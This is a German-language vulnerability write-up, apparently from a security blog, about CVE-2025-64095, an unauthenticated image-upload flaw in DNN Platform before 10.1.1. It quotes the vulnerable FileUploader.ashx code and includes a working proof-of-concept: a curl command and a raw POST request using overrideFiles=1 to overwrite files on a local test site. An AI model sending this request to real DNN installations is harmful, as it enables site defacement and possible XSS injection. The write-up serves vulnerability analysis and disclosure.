
PoC für unzureichende Zugriffskontrolle in DNN - Bild-Upload ermöglicht das Überschreiben von Website-Inhalten
POC für DNN Unzureichende Zugriffskontrolle - Bild-Upload ermöglicht das Überschreiben von Site-Inhalten
Ich bin ein einfacher Mann, wenn ich cvss:10/10 sehe, gehe ich rein xD
Ich habe diese neue CVE CVE-2025-64095 gesehen: DNN Unzureichende Zugriffskontrolle - Bild-Upload ermöglicht das Überschreiben von Site-Inhalten
Der standardmäßige HTML-Editor-Provider erlaubt nicht authentifizierte Datei-Uploads, und Bilder können vorhandene Dateien überschreiben.
Beschreibung Ein nicht authentifizierter Benutzer kann Dateien hochladen und vorhandene Dateien ersetzen, was das Verunstalten einer Website ermöglicht und in Kombination mit anderen Problemen das Einschleusen von XSS-Payloads.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Base Score: 10.0 KRITISCH 🤷♂️
Es stellt sich heraus, dass es doch nicht so kritisch ist, denn man kann keinen Webshell wie ASP, ASPX usw. hochladen (zumindest in der Standardkonfiguration ) - man kann nur Bilder + SVG hochladen. Außerdem kann man nur vorhandene Dateien auf dem Webserver und in einem bestimmten Pfad überschreiben; man kann nicht einmal eine Datei im Root-Verzeichnis hochladen.
Da alle Versionen vor 10.1.1 verwundbar sind, habe ich die DNN Platform 10.1.0 (die letzte verwundbare Version ) genommen.
Der Diff ist ein wenig groß. Ich bin nur an dem Code interessiert, der mit dem Datei-Upload zusammenhängt, also Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Also habe ich mich darauf konzentriert, diese spezielle Datei zwischen den Versionen zu vergleichen, um zu verstehen, was (falls überhaupt) in 10.1.1 behoben wurde.
Ich führe dich durch meine Erkenntnisse und wie ich die Schwachstelle entdeckt habe.
Als ich mir die beiden Versionen zum ersten Mal ansah, zeigte der Gesamtdiff 158 geänderte Dateien zwischen DNN Platform 10.1.0 und 10.1.1. Die meisten waren nur Verbesserungen - dateiscoped Namespaces. Aber ich musste wissen, ob die Datei-Upload-Schwachstelle gepatcht wurde.
Die verwundbare Datei befindet sich unter Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - das ist der CKEditor-Datei-Upload-Handler. Es ist eine häufige Angriffsfläche für Datei-Upload-Schwachstellen.
Betrachten wir die ProcessRequest-Methode in 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
Das war's. Es gibt buchstäblich keine Authentifizierungsprüfung. Jeder kann eine Anfrage an diesen Endpunkt senden und Dateien hochladen, keine Session-Prüfung, nichts.
Der Ablauf sieht so aus:
FileUploader.ashxProcessRequest wird aufgerufenHandleMethod auf, das zu UploadFile weiterleitetUploadFile ruft UploadWholeFile aufUploadWholeFile verarbeitet den Upload, ohne zu prüfen, ob der Benutzer angemeldet istDie gesamte Upload-Logik findet in UploadWholeFile ab etwa Zeile 230 statt. Ich zeige dir die kritischen Teile:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Beachte, dass in Zeile 284 UserController.Instance.GetCurrentUserInfo() aufgerufen wird, um die userId zu erhalten, aber sie nie tatsächlich prüfen, ob der Benutzer authentifiziert ist. Wenn du nicht angemeldet bist, wird nur ein null- oder anonymer Benutzer zurückgegeben, aber der Upload wird trotzdem fortgesetzt.
Beachte auch die OverrideFiles-Eigenschaft in Zeile 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
Das ist ein benutzerkontrollierter Parameter! Jeder kann overrideFiles=1 in seiner Upload-Anfrage setzen und vorhandene Dateien überschreiben.
Ich habe das getestet, indem ich einen einfachen curl-Befehl erstellt habe:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
Rohe POST-Anfrage
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
Die Datei wurde erfolgreich hochgeladen. Ich habe es überprüft, indem ich http://mysite.dnndev.me/Portals/_default/poc.png aufgerufen habe, und tatsächlich, da war sie.
und die Datei wird im Verzeichnis \Portals_default gehostet :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
Ich habe nach Path Traversal gesucht, um Dateien im Root-Verzeichnis zu überschreiben, aber der Schutz ist eigentlich ziemlich gut. Schauen wir uns
var fileName = Path.GetFileName(file.FileName);
Es funktioniert korrekt. Path.GetFileName() entfernt automatisch alle Directory-Traversal-Sequenzen. Wenn also jemand versucht, eine Datei namens ../../../foo hochzuladen, wird daraus einfach foo.
Der Code enthält außerdem zusätzliche Schutzmaßnahmen in "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
wie du im Code sehen kannst // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
Wie gesagt, ich halte das letztendlich nicht für eine kritische Schwachstelle.